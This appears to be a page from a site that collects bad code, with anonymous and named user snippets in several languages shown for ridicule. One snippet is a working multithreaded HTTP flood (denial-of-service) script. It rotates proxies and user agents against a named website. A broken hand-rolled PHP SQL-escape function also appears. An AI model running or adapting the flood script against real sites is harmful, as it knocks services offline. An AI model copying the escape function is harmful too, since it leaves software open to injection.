#59 PHP +34
function mysql_escape_string($str) {
    
    $pattern = [
        '/\x00/',
        '/\n/',
        '/\r/',
        '/\//',
        "/'/",
        '/"/',
        '/\x1a/',
    ];
    
    $replacement = [
        '\\x00',
        '\\n',
        '\\r',
        '\\',
        "\'",
        '\"',
        '\\x1a',
    ];
    
    $res = preg_replace($pattern, $replacement, $str);
    return $res;
}
By Anonymous, 2016-02-13 18:22:55
public static int maximum(int f, int g)
{
	try
	{
		int[] far = new int[f];
		far[g] = 1;
		return f;
	}
	catch(NegativeArraySizeException e)
	{
		f = -f;
		g = -g;
		return (-maximum(f, g) == -f)? -g : -f;
	}
	catch(IndexOutOfBoundsException e)
	{
		return (maximum(g, 0) == 0)? f : g;
	}
}
By Anonymous, 2019-10-18 06:03:41
public enum DataSize {
    BYTE,
    DOUBLE_BYTE,
    INT,
    LONG;
    
    public boolean isEqualTo(Object value) {
        if(value instanceof Byte && this.equals(BYTE)) {
            return true;
        } else if ((value instanceof Character || value instanceof Short) && this.equals(DOUBLE_BYTE)) {
            return true;
        } else if ((value instanceof Integer) && this.equals(INT)) {
            return true;
        } else if ((value instanceof Long) && this.equals(LONG)) {
            return true;
        }
        return false;
    }
}
By DevHONK, 2021-02-22 15:21:03
public IsTrueWithNewTokenResponse isVoice(String token){
    IsTrueWithNewTokenResponse isTrue = isWhatever(token, 0)
    resultStatus.success = isTrue.generalResultResponse.success;
    resultStatus.statusCode = isTrue.generalResultResponse.statusCode;
    resultStatus.statusDescription  = isTrue.generalResultResponse.statusDescription;
    if(isTrue != null && isTrue.generalResultResponse != null && isTrue.generalResultResponse.success){
        isTrue.isTrue = !isTrue.isTrue
        return isTrue
    } else {
        return isTrue
    }
}
By Anonymous, 2017-12-18 09:11:43
def isBool(l):
    if l != True or l != False:
        return False
    return True
By mamadSiah, 2021-04-27 16:13:17
using UnityEngine;
using UnityEngine.UI;
using UnityEngine.SceneManagement;

public class StoryOfMyLife : MonoBehaviour
{
    void OnDestory()
    {
        Debug.Log("  Directed by  ");
        Debug.Log("ROBERT B. WEIDE");
    }
}

For Unity developers only

By SanSanych, 2020-09-25 21:22:53
var i = 0

for (var n in array) { 
    i+=1
    // ...
}
By PureJavascript, 2023-02-11 11:08:33
var lightBox_ReplaceSelectsWithSpans = function()
{
	var selects = document.getElementsByTagName('select');
	for (var i = 0; i < selects.length; i++) {
		var select = selects[i];
		if (select.clientWidth == 0 || select.clientHeight == 0 || 
			select.nextSibling == null || select.nextSibling.className == 'selectReplacement') {
			continue;
		}
			
		var span = document.createElement('span');
		// this would be "- 3", but for that appears to shift the block that contains the span 
		//   one pixel down; instead we tolerate the span being 1px shorter than the select
		span.style.height = (select.clientHeight - 4) + 'px';
		span.style.width = (select.clientWidth - 6) + 'px';
		span.style.display = 'inline-block';
		span.style.border = '1px solid rgb(200, 210, 230)';
		span.style.padding = '1px 0 0 4px';
		span.style.fontFamily = 'Arial';
		span.style.fontSize = 'smaller';
		span.style.position = 'relative';
		span.style.top = '1px';
		span.className = 'selectReplacement';
		
		span.innerHTML = select.options[select.selectedIndex].innerHTML ;//+ 
			//'<img src="custom_drop.gif" alt="drop down" style="position: absolute; right: 1px; top: 1px;" />';
		
		select.cachedDisplay = select.style.display;
		select.style.display = 'none';
		select.parentNode.insertBefore(span, select.nextSibling);
	}
};
By Anonymous, 2023-03-29 16:59:15
$arrival_time = $obj->{'s1_6-2-'.strval($i).'date'} . ' ' . $obj->{'s1_6-2-'.strval($i).'time'} . ':00';
By Anonymous, 2017-02-14 20:31:36
import httpx
import random
import threading
site = 'https://sheesh.rip/'
Proxfile = 'http.txt'
users = [
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (Windows NT 10.0; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 11.3; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (X11; Linux i686; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (X11; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (X11; Linux i686; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (iPhone; CPU iPhone OS 14_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/33.0 Mobile/15E148 Safari/605.1.15',
'Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/33.0 Mobile/15E148 Safari/605.1.15',
'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) FxiOS/7.5b3349 Mobile/14F89 Safari/603.2.4',
'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) FxiOS/7.5b3349 Mobile/14F89 Safari/603.2.4',
'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) FxiOS/7.5b3349 Mobile/14F89 Safari/603.2.4',
'Mozilla/5.0 (Android 11; Mobile; LG-M255; rv:88.0) Gecko/88.0 Firefox/88.0',
'Mozilla/5.0 (Android 11; Mobile; rv:68.0) Gecko/68.0 Firefox/88.0',
'Mozilla/5.0 (Android 11; Mobile; rv:88.0) Gecko/88.0 Firefox/88.0',
'Mozilla/5.0 (Android 11; Mobile; rv:87.0) Gecko/87.0 Firefox/87.0',
'Mozilla/5.0 (Android 11; Mobile; rv:85.0) Gecko/85.0 Firefox/85.0'
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4820.0 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 YaBrowser/21.11.4.727 Yowser/2.5 Safari/537.36',
'Mozilla/5.0 (X11; CrOS x86_64 14268.67.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.111 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 OPR/82.0.4227.50',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Edg/97.0.1072.62'
]
def main():
    Proxy = random.choice(list(open(Proxfile)))
    proxies = {'http://': 'http://'+Proxy}
    headers = {'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'en-US,en;q=0.5','user-agent':random.choice(users),'X-Requested-With': 'XMLHttpRequest'}
    with httpx.Client(http2=True, headers=headers,proxies=proxies,timeout=10.0) as client:
        while True:
            try:
                for y in range(50):
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
            except:
                    pass


while 1:
    print('attacking', site)
    for i in range(50):
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()

my eyes are bleeding

By @o_SKID, 2022-01-27 22:46:24
form = JSON.parse(JSON.stringify(this.mobilityDistanceForm.getRawValue()));
By tralaladidou, 2019-07-15 20:41:51
from itertools import combinations as comb
from functools import reduce
  
def all_arrangements(k):
	m=k*(k+1)/2
	m_bits_on=set([tuple(reduce(lambda x,y:x[:y]+[1]+x[y+1:],c,[0]*(2*m+1))) for c in comb(range(2*m+1),m)])
	return set([tuple(sorted(filter(lambda i:i>0,reduce(lambda x,y: x+[y] if y==0 else x[:-1]+[x[-1]+1,],p,[0])))) for p in m_bits_on])

Returns all arrangements in the Bulgarian solitaire game with k piles https://en.wikipedia.org/wiki/Bulgarian_solitaire

By Uri Goren, 2017-12-13 11:48:22
public function get($paymentType, $carrier, $gds, $clearingCompany, $allowDirectPayment)
	{
		AcqData::preload();

		$carrier = strtoupper($carrier);
		if($paymentType == 'cc') {
			$gdsVal = $this->acqData->getGdsVal($gds);

			if(!$allowDirectPayment || 
			   !$gdsVal || 
			   !isset($gdsVal['lr'], $gdsVal['direct'], $gdsVal['lr_commission_acq'], $gdsVal['direct_commission_acq'])
			  ) {
				$ccDefaultVal = $this->acqData->getPaymentTypeVal($paymentType);
				return [[$ccDefaultVal, $ccDefaultVal], false];
			}

			$commission = $gdsVal['direct_commission_acq'];
			$isDirect = $this->isDirect($carrier, $gds, $clearingCompany);
			if(!$isDirect) {
				$gdsVal['direct'] = $gdsVal['lr'];
				$commission = $gdsVal['lr'];
			}

			return [
				[$gdsVal['direct'], $commission],
				$isDirect
			];
		}

		$paymentTypeVal = $this->acqData->getPaymentTypeVal($paymentType);

		return [
			[$paymentTypeVal, $paymentTypeVal], 
			false
		];
	}

$ccDefaultVal = $this->acqData->getPaymentTypeVal($paymentType); is duplicated in two branches...

By Anonymous, 2017-12-20 12:03:01
let arr = []
if(arr[record.id]) {
    arr[record.id] = false
} else {
    arr[record.id] = false
}
this.setState({a: arr})
arr = []
By Anonymous, 2021-12-27 06:55:59
public array<P extends Path<NotNul<T>>, Key extends string>(
  name: P,
  ...args: NotNul<PathValue<NotNul<T>, P>> extends Array<infer Item> ? ('id' extends keyof Item ? [keyname: Key] : [keyName?: Key]) : []
): NotNul<PathValue<NotNul<T>, P>> extends Array<infer Item>
  ? Key extends keyof Item
    ? never
    : Field<Array<Item & (Key extends keyof Item ? {} : string extends Key ? {} : { [P in Key]?: string })>>
  : never {
  return this.createField(name as any, this.name, args[0]) as any
}
By Anonymous, 2022-01-10 03:36:55